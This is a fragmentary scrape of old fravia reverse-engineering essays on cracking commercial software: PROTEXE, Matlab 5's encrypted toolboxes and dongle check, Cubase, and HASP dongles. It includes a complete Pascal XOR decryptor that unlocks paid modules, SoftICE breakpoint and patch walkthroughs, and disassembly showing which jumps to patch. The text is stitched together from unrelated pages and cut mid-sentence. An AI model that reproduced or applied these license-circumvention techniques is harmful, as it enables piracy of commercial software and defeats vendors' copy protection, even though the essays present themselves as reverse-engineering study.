jumping to the second part of mov dh,ch... what's happening?
U 246
If you are going through the code, You will find lot of Keyboard
disable routines & interrupt masking (keyboard Int masking) routines
inside our target.
Bypass all of them (I think everybody knows to bypass such lame
tricks, if not go raed some basic cracking stuff and come back
later) and next you will landed on a CRC checking routine.
Man, we'll have seen the complete PPPP (Paranoid Programmer Protection
Palette)by the end of this essay!
Again you will see a lot of silly keyboard & interrupt Enable
routines inside the code window.
Steady ahead! Go through the code until you see the following...
The FAR JMP above will take you to the original code of
your programm...
Well in this PROTEXE you have seen (and will find if you decide
to work a little on it) different types of protection methods.
They are..
The above methods are fairly good, if very common. The only real
problematic thing for the Author, here, seem to be the implementation
lacks.
I think that the Coder only tried to protect the program from LAMERS.
Otherwise he could and should have implemented the program's protection
schemes better than that. C'mon, we are sure you can do better next
time.
I think that all the protection writers should try to think -at least-
twice about what they are doing BEFORE plannning and writing their
protection schemes.
It is true this is the dammn silly windows' age, but there are still
some good reverse engineers in this world... and what's the point of
scaring a couple of lamers off. Either you DO NOT protect, which is
a very honorable way of spreading very good software, see filemon as
an example, or, if you do protect, try one more solide protection
undertakerd@hotmail.com
NOTE - If you compressed the program before running protexe. Then the above
OFFSET address couls be different. Also you can download the PROTEXE
program (version 2.11 shareware) from FRAVIA's PAGE, here, of
course uncracked.
You are deep inside fravia's page of reverse engineering, choose your way out:
"A little essay to show beginners and intermediate reversers / programmers how NOT to encrypt their own
programs ..."
Introduction
No, dear readers: Encryption is indeed one of the most powerful ways to
protect software, but if you're a lazy programmer, even the best
protection techniques will turn stale in your hands, because your mind
won't be merrily pursuing the beauty of a well programmed piece of code,
but it will instead be obsessed by the money you'll earn if you finish
quickly the job ... You don't believe me? Read the following...
Tools required
Target's URL/FTP
The program *iS NOT REQUiRED* to follow the essays. Remember, we are mainly reverse engineers, not only
crackers ... this series will teach you generic protection schemes, it's not my intention to write one more
how-to-crack to an specific application. Anyway, it's commercial software, but (hardly) available in the net if you do
know how to search.
Program History
Not too much to say. A classic among the maths/programming applications, available for different systems. In my
personal software archives (for educational purposes only :) I've got version 3.5f for DOS dated from 1989, then was
a package including PC-Matlab and AT-Matlab, with only a serial number. Latest version I know is the target of this
essay, a CD-ROM including version 5.0 for Win95/NT and version 4.2c.1 for Win32s, both serial number + dongle
protected.
If you want to know more about this product contact with the The MathWorks Web site or connect to one of the
hundreds of Matlab related sites across the net.
Essay
As you have read in the intro, this is our situation: we have a series of
*.Z files that cannot be decompressed with the InstallShield Compressor ...
... aren't they true InstallShield files? are they compressed with a new
unknown version of iS? what the hell is happening here? ... yes, you're
right, they're encrypted !
When a true +reverse engineer finds this kind of protection he thinks "hey,
and what if I try to find the encryption code to rip/reverse the process?"
or even better, taking into consideration the first thing he learnt at
+ORC's School ... "protectionists are stupid!" (OK, some of them are
pretty competent but they are the exception ...).
When you go to your 'Encryption School', the first lesson (OK, may be the
second :) you are teached is probably the lesson about XOR encryption,
that is,
A XOR B = C
C XOR B = A
Just before install every *.Z file, our target decodes it in memory and
stores it in the iS temporal directory ... we can change to another task
while installing and copy one of the *.Z *decrypted* files from the
temporary dir to a secure place. Now we have two copies, coded and decoded,
of a package, let's check them ... take your hex editor and compare both
files XORing one with the other (I'll do it with NCD.Z, 'Nonlinear Control
Design Blockset'):
Encrypted : 0e 47 7e 90 27 1b 19 1c 1d 1a 1b 1c 5f 1a 2d 3e
Decrypted : 13 5d 65 8c 3a 01 02 00 00 00 00 00 42 00 34 22
-----------------------------------------------
XOR Table : 1d 1a 1b 1c 1d 1a 1b 1c 1d 1a 1b 1c 1d 1a 1b 1c
you can't believe your eyes, eh? Beginning with $1d each byte is XORed
using a single four bytes table, [$1a,$1b,$1c,$1d], until the end of the
file ... You can try it with any other *.Z file on the CD, you'll get the
Program Matlab_5__InstallShield_Encrypted_Files_Decoder;
Uses
DOS;
Type
TBufferPtr = ^TBuffer;
TBuffer = Array [1..32*1024] of Byte;
Var
EncFile,DecFile : File;
BytesRead,BytesWritten : Word;
Buffer : TBufferPtr;
DirInfo : SearchRec;
i : Word;
XorKey : Byte;
Begin
Asm
mov ax,3
int 10h
End;
WriteLn('+--------------------------------------------------+');
WriteLn('+ MATLAB 5 InstallShield Encrypted Files Decoder +');
WriteLn('+ by Aitor, +HCU 1998 +');
WriteLn('+--------------------------------------------------+',#13#10);
FindFirst('*.z',Archive,DirInfo);
If DosError<>0 Then
Begin
WriteLn(' * ERROR: Files not found ... agur !');
Halt(1);
End;
New(Buffer);
While DosError=0 Do
Begin
Assign(EncFile,DirInfo.Name);
Assign(DecFile,'deleteme.~$$');
Reset(EncFile,1);
ReWrite(DecFile,1);
XorKey:=29;
Write(' * Decrypting ',DirInfo.Name, ' ... ');
Repeat
BlockRead(EncFile,Buffer^,SizeOf(Buffer^),BytesRead);
For i:=1 to SizeOf(Buffer^) do
Begin
Buffer^[i]:=Buffer^[i] XOR XorKey;
Inc(XorKey);
If XorKey>29 Then
Dec(XorKey,4);
End;
BlockWrite(DecFile,Buffer^,BytesRead,BytesWritten);
Until (BytesRead=0);
Close(EncFile);
Close(DecFile);
Erase(EncFile);
Rename(DecFile,DirInfo.Name);
WriteLn('OK !');
FindNext(DirInfo);
End;
Dispose(Buffer);
End.
With our new decryptor, we're ready to decode and install *all* (note I'm
saying iNSTALL and NOT USE) the crippled modules included in the CD:
HARDWARE Z 207.281
LICENSE Z 332.036
with *very interesting material* inside them, but that goes beyond the
purpose and level of this essay ...
Final Notes
Like many other contributors to this pages English is not my mothertongue ...
... sorry for any inconvenience, be patient ;).
Greetings to all the reverse engineers from Euskal Herria (Basque Country) ...
... jotake irabazi arte !
Ob Duh
I won't even bother explaining you that you should BUY this target program if you intend to use it ... this is not
shareware ;-). If you own a legal copy of the program, take into consideration your country's laws about reverse
engineering. Here you got an extract from the LiCENSE.TXT file included in the CD (read it, this is valid for any
other commercial software you own in the EU):
"In relation to the Programs which Licensee is entitled to use, Licensee shall not decompile, disassemble or otherwise reverse engineer the Programs except with respect to European
Union Licensees whose rights are as follows:
EUROPEAN UNION: Licensee may only decompile, disassemble or otherwise reverse engineer the Programs where any such act is necessary to create an independent program
which is interoperable with the Programs or with another program or to observe, study, or test the functioning of the Programs solely in order to understand the ideas and principles
which underlie any element of the Programs ("the Permitted Objective") and provided that:
(a) this may only be done if the information necessary to achieve the Permitted Objective has not already been made available or has not been provided by TMW within a reasonable
time of a written request to TMW to provide such information;
(b) the compilation, disassembly or reverse-engineering is confined to those parts of the Programs necessary to achieve the Permitted Objective;
(c) the information gained is not used for anything other than the Permitted Objective and is not disclosed to any other person except as may be necessary to achieve the Permitted
Objective; and
(d) the information obtained is not used to create a program substantially similar in its expression to the Programs including, but not limited to, expressions of the Programs in other
computer languages, or for any other act restricted by copyright in the Programs.
You are deep inside fravia's page of reverse engineering, choose your way out:
"A little essay to show beginners and intermediate reversers how a dongle can be easily defeated"
Introduction
I've chosen this program because it has got three levels of protection:
1) Program is dongle protected, that is, once you have installed it won't
run without plugging in the dongle.
2) With the program are included *ALL* the toolboxes (sold apart at very
expensive prices, believe me) but they're not mentioned anywhere. These
are InstallShield packed .Z files that cannot be unpacked by the
InstallShield file compressor because they are *ENCRYPTED* ... all the
.Z files in the Matlab 5 CD are encrypted.
3) Once you have built a little decryptor, and all the forbidden toolboxes
are unpacked, a license check appears ...
This essay (the 1st of a series of at least three) deals with the 1st level
of protection ...
Dongle, hardware key, security plug, motxila ... words that sound terrible
to many crackers (mainly beginners) out there. The main aim of this essay
is to show how a hardware key protected commercial application can be
cracked in less than a minute, as easily as you do with many other
shareware targets, and if you give yourself a few more seconds you'll be
able to crack the entire ready made (probably commercial) protection
system.
Tools required
Target's URL/FTP
The program *iS NOT REQUiRED* to follow the essays. Remember, we are mainly reverse engineers, not only
crackers ... this series will teach you generic protection schemes, it's not my intention to write one more
how-to-crack to an specific application. Anyway, it's commercial software, but (hardly) available in the net if you do
know how to search.
Program History
Not too much to say. A classic among the maths/programming applications, available for different systems. In my
personal software archives (for educational purposes only :) I've got version 3.5f for DOS dated from 1989, then was
a package including PC-Matlab and AT-Matlab, with only a serial number. Latest version I know is the target of this
essay, a CD-ROM including version 5.0 for Win95/NT and version 4.2c.1 for Win32s, both serial number + dongle
protected.
If you want to know more about this product contact with the The MathWorks Web site or connect to one of the
hundreds of Matlab related sites across the net.
Essay
+-------------------------------------+
+ 1st APPROACH +
+ Fast non-ZEN one-minute-crack +
+-------------------------------------+
Aurrera with our job! Fire up Soft-iCE and run matlab.exe. Inmediately
you are warned with a fatal error box: "Error checking out MATLAB".
Without closing this box pop up Soft-iCE and check the list of window
handles, you'll see something like this:
... an so on.
Yes, they are our error box and its OK-button. Let's make Soft-iCE break
the program execution at the moment when the error box is destroyed. Doing
so we'll be able to locate the calling instructions that make our box
appear (this is true in 95% of the protections you'll find, incredible,
isn't it?) only by PRETing within Soft-iCE. Ok, let's put our BREAKPOiNT:
and let the program run. After pressing the OK-button Soft-iCE pops up
again:
---USER!GETDLGCTRLiD+0017--------------------------------------
17e7:4757 push bp
17e7:4758 mov bp,sp
17e7:475a push 4793
...
-------------------------------USER(08)------------------------
A few PRET commands from here until we land on the program code:
Incredible, eh? Can you hear it ? ... it's saying 'crack me' ;-).
Don't think it twice and try a fast non-ZEN patch:
After live testing patching code in memory (it works fine), will be easy to
patch the code on disk:
Now run the program and test it with a few samples and demos, everything
works well ... isn't it?!
+-------------------------------------------------+
+ 2nd APPROACH +
+ Breaking down the protection system itself +
+-------------------------------------------------+
We have our target working fine without the dongle, but we are not
satisfied. We don't want to crack the program, we are reversing it in
order to learn more ... real knowledge will be our unique satisfaction
(apart from destroying Micro$oft and see Mr. Bill Fakes crucified, of
course).
Let's take a look at the program again, and see more deeply how the
protection system works. For doing this we must restore the original
unpatched matlab.exe file. Now we are ready to begin, take a look at the
code previous to our first patch:
137:41adb2 push 23
137:41adb4 push dword ptr [ebp-1c]
137:41adb7 push dword ptr [ebp-18]
137:41adba push dword ptr [ebp-14]
137:41adbd push dword ptr [ebp-10]
137:41adc0 call 6b093c
137:41adc5 add esp,14
137:41adc8 mov [ebp-20],eax
137:41adcb cmp dword ptr [ebp-20],0
137:41adcf jz 41adff
137:41add1 cmp dword ptr [6ed6f0],0
137:41add8 jz 41addf
137:41adda call 441544
137:41addf push 10
Pay attention and tell me what's could be happening in the code above.
A series of values is been located in the heap, then a routine is called,
and finally the EAX value returned from that routine is used to check our
access to the program. Let's put a breakpoint at 137:41adc0 and trace the
called routine code. After tracing a little we land here:
This piece of code iS NOT from MATLAB itself ... where could it be located?
Take a look at our MATLAB\bin directory:
Directorio de C:\MATLAB\bin
BCCENG~1 BAT 1.426 21/11/96 15:58 bccengmatopts.bat
BCCOPTS BAT 1.632 21/11/96 15:58 bccopts.bat
CMEX BAT 2.274 21/11/96 15:58 cmex.bat
FMEX BAT 2.274 21/11/96 15:58 fmex.bat
LIBENG DLL 29.696 22/11/96 9:51 libeng.dll
LIBMAT DLL 60.416 21/11/96 12:05 libmat.dll
LIBMX DLL 40.960 21/11/96 12:05 libmx.dll
LIBUT DLL 40.960 21/11/96 12:05 libut.dll
MATLAB EXE 3.457.536 06/01/98 7:24 matlab.exe
MEX BAT 18.152 21/11/96 15:58 mex.bat
MEDIT EXE 144.896 04/12/96 13:43 medit.exe
MEXOPTS BAT 1.721 21/11/96 15:58 mexopts.bat
MFC42 DLL 1.013.520 21/11/96 12:05 mfc42.dll
MIPC50 DLL 248.320 21/11/96 12:05 mipc50.dll
MLAPP TLB 2.789 21/11/96 12:06 mlapp.tlb
ML_16 DLL 14.708 21/11/96 12:05 ml_16.dll
MLPTOOL EXE 42.496 21/11/96 12:05 mlptool.exe
MSCTOF DLL 31.744 21/11/96 12:05 msctof.dll
MSFOPTS BAT 1.649 21/11/96 15:58 msfopts.bat
MSVCEN~1 BAT 1.701 21/11/96 15:58 msvcengmatopts.bat
MSVCIRT DLL 74.752 21/11/96 12:05 msvcirt.dll
MSVCOPTS BAT 1.599 21/11/96 15:58 msvcopts.bat
MSVCRT DLL 267.536 21/11/96 12:05 msvcrt.dll
MWOLES05 DLL 43.520 22/11/96 11:51 mwoles05.dll
PERL100 DLL 525.312 21/11/96 12:05 perl100.dll
PERL EXE 36.352 21/11/96 12:05 perl.exe
SHOWDLLS EXE 49.668 21/11/96 12:05 showdlls.exe
WATENG~1 BAT 1.701 21/11/96 15:58 watengmatopts.bat
WSPTOOL EXE 60.928 21/11/96 12:05 wsptool.exe
LICENSE DAT 167 06/01/98 7:24 license.dat
W32SSI DLL 66.560 02/04/96 11:01 w32ssi.dll
31 archivo(s) 6.286.965 bytes
2 directorio(s) 46.161.920 bytes libres
Most of the files have (more or less) the same date: 21-22/11/96, but there
are four of them that have not:
Take your favourite hex editor, search for our code and EUREKA! To read it
better take W32Dasm and get its dead listing (about 245 kb):
After live testing patching code in memory (it works fine), will be easy to
patch the code on disk:
Now run the program and test it, everything should work fine ...
We don't care (by the moment) about how messy things are done inside the
hardware checking routines, but if you trace the code inside the DLL you'll
find code snippets like this:
...
:401712 push eax
:401713 mov eax,80992014
:401718 push eax
:401719 push dword ptr [4070A0]
:40171F call dword ptr [407050]
:401725 mov eax,[4070A0]
:40172A push eax
:40172B call dword ptr [407054]
:401731 mov dword ptr [4070A0],-1
:40173B jmp 40175A
:40173D mov ebp,[4076A4]
:401743 mov esi,[4076A8]
:401749 mov edi,[4076AC]
:40174F mov edx,9966
:401754 mov ax,8
:401758 out dx,ax
...
or this:
...
:40197B mov edx,9966
:401980 sub eax,eax
:401982 in ax,dx
quite interesting material, but not for this essay ... may be in a future :)
This 2nd approach give us two iMPORTANT advantages over the 1st one:
1) Our target only calls the dongle checking routine once at startup,
but you'll find applications that make multiple callings from
anywhere at anytime during its execution. An example of this could
be AutoCAD 13 from AutoDesk. Its protection check is mainly the
same, you reach one point in the code with a call returning EAX=0 =>
good guy, and this is called not only at startup, but some more times
while the program is running. If you take the 1st approach as a model
for this kind of targets, you will must patch *any* references to the
call ...
Final Notes
Like many other contributors to this pages English is not my mothertongue ...
... sorry for any inconvenience, be patient ;).
Greetings to all the reverse engineers from Euskal Herria (Basque Country) ...
... jotake irabazi arte !
Ob Duh
I won't even bother explaining you that you should BUY this target program if you intend to use it ... this is not
shareware ;-). If you own a legal copy of the program, take into consideration your country's laws about reverse
engineering. Here you got an extract from the LiCENSE.TXT file included in the CD (read it, this is valid for any
other commercial software you own in the EU):
"In relation to the Programs which Licensee is entitled to use, Licensee shall not decompile, disassemble or otherwise reverse engineer the Programs except with respect to European
Union Licensees whose rights are as follows:
EUROPEAN UNION: Licensee may only decompile, disassemble or otherwise reverse engineer the Programs where any such act is necessary to create an independent program
which is interoperable with the Programs or with another program or to observe, study, or test the functioning of the Programs solely in order to understand the ideas and principles
which underlie any element of the Programs ("the Permitted Objective") and provided that:
(a) this may only be done if the information necessary to achieve the Permitted Objective has not already been made available or has not been provided by TMW within a reasonable
time of a written request to TMW to provide such information;
(b) the compilation, disassembly or reverse-engineering is confined to those parts of the Programs necessary to achieve the Permitted Objective;
(c) the information gained is not used for anything other than the Permitted Objective and is not disclosed to any other person except as may be necessary to achieve the Permitted
Objective; and
(d) the information obtained is not used to create a program substantially similar in its expression to the Programs including, but not limited to, expressions of the Programs in other
computer languages, or for any other act restricted by copyright in the Programs.
You are deep inside fravia's page of reverse engineering, choose your way out:
Sentinel, Hasp... commercial protectors... how much money should you actually PAY us for having
demonstrated how bad implemented your protections are? (Note the 'implemented' bit :-)
And you, programmers, and you that have trusted dongles, believing them to be good protections. You that soon
find your own 'dongle-protected' programs regged (and undongled) on any luser's warez site? Did you actually
believe the crap written by the dongle-fabricants? Do you believe hypes? Haven't you learned yet to see
THROUGH things? To reverse!
How much do you actually owe us for showing you (for free) the truth? Yet don't worry... we don't need, nor
want, your money... what we do, we do because we enjoy it, not because we want useless bucks... that's the real
reason, I'm afraid, that "non-commercial" reversers will always remain (quite) ahead in this lind of games...
7. "Enable Emulator"
9. "Disable Emulator"
Be careful though: here is what Slava wrote :-)
With all due respect to your site and your efforts, I must
tell you that I haven't seen this kind of crap for years.
Here are the results of my express-test of Wkpe dongle-emulator
(I tried to cover different dongles/app modes):
(c) Fravia+ 1995, 1996, 1997, 1998, 1999. All rights reversed
by Xoanon
(16 May 1997, slightly edited by Fravia)
I may remark that at the end Xoanon wrote "First phase"... Hey, Xoanon... dov' la SECONDA fase?
Prologue:
----------------------------------------------------------------------------
First of all, i decided to try this donglecrack 'coz i don't know of ANY
version of Cubase 3.0 working (i mean REAL 100% cracked). Maybe there are
newer versions out (i think 3.05 or more), but i'm not sure if are cracked
well, coz i haven't tried them.
And, the reason of this is quite simple: many crackers tend to not even
trying out the programs once they THINK they've cracked them, and since
Cubase has a funny trick (to let you think you've cracked it after less
than 2 minutes of debugging... you got it?) I think it is worth explaining
a little its protection schemes. By the way, i tried cracking it 1 year
ago and did the same error.
In more understandable terms, simply NOPPING a JNZ lets you bypass the
initial donglecheck, so cubase "runs" somehow. But try working more than
1) Write down the locations where the program crashes/does not run
2) Trace back and try to locate the switches (jumps) which jump to these
locations
3) Be sure these locations aren't used in other part of the program as well
Let's start!!!
-----------------------------------------------------------------------------
Ok, are u ready with your Martini Vodka and/or cigarettes AND Softice???
Good...... let's begin eradicating the initial donglecheck!
(you could also try to emulate the dongle by setting BPIO -h on printer
ports such as 0378/0379/037a etc... you will land in the CUBASE.VXD...
and believe me... it's better to try another approach!)
Well, you run Cubase and it popsup with the classic "Plug the dongle,idiot"
screen.... Ah ah ah!! Simply rerun it, Ctrl-D before the nag appears, hit F12
more than once to trace back calls (p ret is for sure one of the best
SoftICE's functions i think, without it some of the hard cracks couldn't be
done) and you'll land in the CUBASE30CM module. Step step and step until
you reach this code (you might need to set some temporaneus BPX to get rid
of cycles_loops, but you will figure out yourself where and how... otherwise
i would spend a whole day writing this tutorial!):
*Initial Check
Back to project 3
homepage
links
anonymity
+ORC students' essays tools
cocktails
academy database
antismut search_forms mail_fravia
by Zafer/BSCA
(03 September 1997, slightly edited by Fravia)
(Part C added 19 Oct 1997)
This tutorial is under development, Zafer has promised to send the remaining parts asap... (dear readers, you are the first in
the world to surf onto such stuff :-)
memory. 0.2.1 Resident hasp driver It's a tsr which provides the same hasp services as the API. "haspres" is the program. the
default interrupt is int 63h, but it can be loaded as "haspres xx" where xx is the int #. -------------------------------------------------
1. Hands on API Hasp (Service, SeedCode/IdleTime, LptNum/ProgNum, Password1, Password2, Par1, Par2, Par3, Par4) usage
for asm: call: bh=service ax=SeedCode/IdleTime bl=LptNum/ProgNum cx=Password1 dx=Password1 di=address si=data
es=buffer segment (for functions Read/WriteBlock, Set* ; ax=buffer offset) return: ax=Par1 bx=Par2 cx=Par3 dx=Par4 1.1
Service Service Name Operation ------------------------------------------------------------------------- 1 IsHasp Checks if a Hasp is
connected returns Par1 0 no hasp 1 HASP of any type ------------------------------------------------------------------------- 2
HaspCode Gets the return codes for a given seed code. returns Par1/2/3/4 Return Code1/2/3/4
------------------------------------------------------------------------- 3 ReadWord Reads 1 word from MemoHasp returns Par2 1 word
Par3 Status (read Status below) ------------------------------------------------------------------------- 4 WriteWord Writes 1 word to
MemoHasp returns Par3 Status (read Status below) ------------------------------------------------------------------------- 5 HaspStatus
Checks the type of Hasp Checks which port its connected to. Checks to memory size. returns Par1 1 MemoHasp-1 4
MemoHasp-4 0 Other Types Par2 0 HASP-3 1 MemoHasp-1/MemoHasp-4 3 TimeHasp 5 TimeHasp-4 Par3 Paralel port #
------------------------------------------------------------------------- 6 HaspID Gets Hasp ID # returns Par1 Low word of ID # Par2
High word of ID # Par3 Status (read Status below) ------------------------------------------------------------------------- 40 LastStatus
Checks the status of the last call to NetHasp returns Par1 NetStatus 0 last call was successful otherwise its status (read Status
below) Par2 SystemError (a context-dependent errorcode) ------------------------------------------------------------------------- 41
HaspCode Get the return codes for a given seed code. (NetHasp) call SeedCode SeedCode (0-65535) ProgNum Number
assigned to the application in NetHasp Password1 First NetHASP password Password2 Second NetHASP password returns
Par1/2/3/4 Return Code 1/2/3/4 ------------------------------------------------------------------------- 42 Login Requests permission
from NetHasp Licence Manager call SeedCode SeedCode (0-65535) ProgNum Number assigned to the application in NetHasp
Password1 First NetHASP password Password2 Second NetHASP password returns Par1/2/3/4 Return Code 1/2/3/4
------------------------------------------------------------------------- 43 Logout Requests session termination from NetHasp Licence
Manager call ProgNum Number assigned to the application in NetHasp Password1 First NetHASP password Password2
Second NetHASP password ------------------------------------------------------------------------- 44 ReadWord Reads 1 word from
NetHasp call SeedCode SeedCode (0-65535) ProgNum Number assigned to the application in NetHasp Password1 First
NetHASP password Password2 Second NetHASP password Par1 Address (NetHASP mem address 00-247) returns Par2 Data
Par3 Status (read Status below) ------------------------------------------------------------------------- 45 WriteWord Writes 1 word to
NetHasp call SeedCode SeedCode (0-65535) ProgNum Number assigned to the application in NetHasp Password1 First
NetHASP password Password2 Second NetHASP password Par1 Address (NetHASP mem address 00-247) Par2 Data returns
Par3 Status (read Status below) ------------------------------------------------------------------------- 46 HaspID Gets NetHasp ID #
call ProgNum Number assigned to the application in NetHasp Password1 First NetHASP password Password2 Second
NetHASP password returns Par1 IDLow (low word if ID #) Par2 IDHigh (high word if ID #) Par3 Status (read Status below)
Note: ID #=IDLow+65536*IDHigh (idlow,high are unsigned) ------------------------------------------------------------------------- 48
idleTime Specifys a max time frame for idle stations (NetHasp) call IdleTime (time frame in minutes 0-65535) ProgNum
Number assigned to the application in NetHasp Password1 First NetHASP password Password2 Second NetHASP password
------------------------------------------------------------------------- 50 ReadBlock Reads a block from MemoHasp call Par1 Start
Address Defines the initial HASP mem address for reading block 0-55 = MemoHasp-1 0-247= MemoHasp-4 0-247=
TimeHasp-4 Par2 Block Length (Block size in words) Par3 Buffer Segment (Segment address of a variable/address) Par4
Buffer Offset (Offset address of a variable/address) returns Par3 Status (read Status below)
------------------------------------------------------------------------- 51 WriteBlock Writes a block to MemoHasp call Par1 Start
Address Defines the initial HASP mem address for writing block 0-55 = MemoHasp-1 0-247= MemoHasp-4 0-247=
TimeHasp-4 Par2 Block Length (Block size in words) Par3 Buffer Segment (Segment address of a variable/address) Par4
Buffer Offset (Offset address of a variable/address) returns Par3 Status (read Status below)
------------------------------------------------------------------------- 52 ReadBlock Reads a block from NetHasp call ProgNum
Number assigned to the application in NetHasp Password1 First NetHASP password Password2 Second NetHASP password
Par1 Start Address Defines the initial NetHASP mem address for reading block (0-247) Par2 Block Length (Block size in
words) (max 24words) Par3 Buffer Segment (Segment address of a variable/address) Par4 Buffer Offset (Offset address of a
variable/address) returns Par3 Status (read Status below) ------------------------------------------------------------------------- 53
WriteBlock Writes a block to NetHasp call ProgNum Number assigned to the application in NetHasp Password1 First
NetHASP password Password2 Second NetHASP password Par1 Start Address Defines the initial NetHASP mem address for
writing block (0-247) Par2 Block Length (Block size in words) (max 24words) Par3 Buffer Segment (Segment address of a
variable/address) Par4 Buffer Offset (Offset address of a variable/address) returns Par3 Status (read Status below)
------------------------------------------------------------------------- 70 SetTime Sets TimeHasp clock call Password1 first timehasp
password Password2 second timehasp password Par1 Second Par2 Minute Par4 Hour (00-23) returns Par3 Status (read Status
progie 135 Logout was called before calling login 136 NetHASP license manager is busy. 137 No space in NetHASP log table
138 Internal NetHASP error (# of licensed stations is larger than allowed by NetHASP) 139 Computer with NetHASP crached
& reactivated (must call login again) 140 NetHASP license manager does not serve the network of your station 141 Invalid
service 142 NetHASP license manager matching the name specified in NetHASP conf. file not found 150 No NetHASP
license manager with the assigned name was found 151 Two or more different NetHASP license managers with the assigned
name were found 2.0 Things to remember - there can be more than one seedcode - it can be checking dongle with dummy
passwords to confuse you - it can be using the return code as seed for encryption/variable - read xoanon's doc. (delaying
reactions to a checking) - in the dongles memory, program can store a routine, jumptables, seeds for a decryption etc.. (you
may need the dongle itself in order to crack the dongle at %100)
Let's do it (DOS)
Second and third part will be ready asap, part four is (partly) already there
Let's do it (Windows)
A introduction to hasp
B let's do it
C ------------------------------ LET'S DO IT (WIN)
------------------------
D tips & tricks.
ok. when writing this doc, i searched some `common` programs to give as
examples but there were no programs given to `public` via ftp/www.
so, i ldr'ed the program, and traveled throu' the code with f10/f8.
soon after the show_firmwindow call, i saw my leds flashing again. :))
looking after the call, i saw some cmp's. Now i knew which call made the
dongle check.
next, i loaded the program with ida 3.7 and go to the call which
checked for dongle.
notes:
1.1) cevirmen uses hasp95.vxd for hasp functions so using a bpio 378
will do no good to us since our program is in ring 3 and vxd is in
ring 0. so you can use bpio -h 378 to set a breakpoint. you'll find
yourself in hasp95.vxd so "p ret"'ing you can go back..
1.2) after disasm'ing program i saw a lot of calls to CheckHasp. so
patching directly the CheckHasp call is a wiser approach.
1.3) luckily this program used only services 1 & 2 to check dongle.
Which are IsHasp & HaspCode (read HaspApi functions) and luckily
again it only compared the return codes of the seed number. (it
could have used the return codes for decryption and/or use it as
a part of code.) ie. ret codes could be the opcodes of mov eax,1.
1.4) i always recommend you to disasm the file, (as i told you
there were too many CheckHasp calls, but there could be some other
direct calls to _hasp)
1.5) i changed the addresses and wrote some comments to let you better
understand in the given disasm forms.
1.6) i'll give these long codes once, so on other cracking usage
refer these.
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
lea eax, [ebx+0D4h]
push eax
lea edx, [ebx+0D0h]
push edx
lea ecx, [ebx+0CCh] ;
push ecx
lea eax, [ebx+0C8h] ;Ret1
push eax
push dword ptr [ebx+0ACh]
push dword ptr [ebx+0A8h]
push dword ptr [ebx+0B4h]
push dword ptr [ebx+0B0h]
push 1 ; Service 1 (IsHasp) Checks
; if Hasp exists
call HaspPushCall ; call _Hasp
*** cmp dword ptr [ebx+0C8h], 0 ; Par1=0? (No Hasp=0, Hasp exists=1)
*** jnz short HaspFound ; Good Guy
pop ecx
xor eax, eax
pop ebx
pop ebp
retn
;
---------------------------------------------------------------------------
pop ebp
retn
CheckHasp endp
now as you see, the program first checks if the dongle exists. then if
it finds a dongle, it checks for the return codes for the given seed
code. if
that's ok, too; it puts 1 into eax and returns.. Easy.. ie. change
cmp dword ptr [ebx+0C8h], 0 ; Par1=0? (No Hasp=0,
Hasp exists
jnz short HaspFound ; Good Guy :)
to Call HaspOk
but let me show you some details.. first of all the following code
comes with the hasp package for software developers to include in their
code..
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; HASPBC32.ASM
;;
;;
;; Description:
;; This file links the application to the procedure that checks
;; the HASP key. This file performs the following:
;;
;; a. Gets the parameters from the application stack.
;; b. Initialize the appropriate registers.
;; c. Calls haspreg, procedure that checks the HASP key.
;; d. Receives the return values from haspreg and moves them to.
;; the stack.
;;
;; Compilation instructions:
;;
;; masm -Mx haspbc32;
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.386P
;
; Frame structure after pushing EBP.
;
RetCode4 equ [EBP+40]
push Ebp
mov Ebp, Esp
mov Ebx, 0
mov Ebx, Cmd
mov bh, bl
mov bl, 0
add Ebx, LptNum
cmp bh,50
jb NotBlockOperation
mov Esi, RetCode4
mov Eax, [Esi]
NotBlockOperation:
push Ebp
call haspreg
pop Ebp
ret
_hasp endp
_TEXT ENDS
END
ok, this is the common code that you'll see in the hasp protected
programs.
let's see this in our `cevirmen` example.. our example did a
call HaspPushCall ; call _Hasp
push ebp
mov ebp, esp
push [ebp+arg_20] ; this part just pushes some
values
push [ebp+arg_1C] ; for the _Hasp
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call NormalHaspCode ; HaspBC32.asm
pop ebp
retn 24h
HaspPushCall endp
i removed the `....` parts since i don't want this text to be long and
we don't need to know them for this program. but the removed parts
included NetApi32 functions for the NetHasp dongle checking which is
in fact important if you're cracking a program using NetHasp.
notes:
1.1) this program is a VB4 program.. (damn) It uses hasp95.vxd and
haspvb32.dll
1.2) dodi's vb4tools (4.10 sept '97) can't disasm with error message
"can't handle bla bla)
then using bpio -h 378 i tried to find which part checked for
dongle... after some "p ret"'ing i found myself in vb40032.dll and found
that there is a part by which your basic code is executed, esi=your basic
code address. for my example esi=4d2cf8 was IsHasp, 4d2d5b was HaspStatus
etc. and here is how that looks in the exe file.
004D2CF8: B8 15 4A 00 FE 07 84 05
-----------> offset Jumper (IsHasp)
004D2D00: 08 00 0C 00 50 07 00 00-00 00 56 00 E8 03 6C 03 ;07 (00.00.00.00) cmp 0
-- ----------- -----------> (56) equal
004D2D10: 94 02 A2 05 08 00 00 00-9C 02 A2 05 08 00 06 00
004D2D20: 98 05 08 00 18 00 98 05-08 00 14 00 98 05 08 00
004D2D30: 10 00 98 05 08 00 0C 00-84 05 08 00 34 04 84 05
004D2D40: 08 00 30 04 50 07 00 00-00 00 50 07 2C 01 00 00
004D2D50: 82 05 08 00 06 00 1E 02-38 06 B8 15 4A 00 FE 07
-----------> offset Jumper
(HaspStatus)
004D2D60: 84 05 08 00 10 00 50 07-03 00 00 00 56 00 E8 03 ;07 (00..03) cmp 3
-- ----------- -----------> (56) equal
004D2D70: CE 03 94 02 A2 05 08 00-00 00 9E 02 A2 05 08 00
004D2D80: 06 00 98 05 08 00 18 00-98 05 08 00 14 00 98 05
004D2D90: 08 00 10 00 98 05 08 00-0C 00 84 05 08 00 34 04
004D2DA0: 84 05 08 00 30 04 50 07-00 00 00 00 50 07 2C 01
004D2DB0: 00 00 82 05 08 00 06 00-1E 02 38 06 B8 15 4A 00
-----------> offset
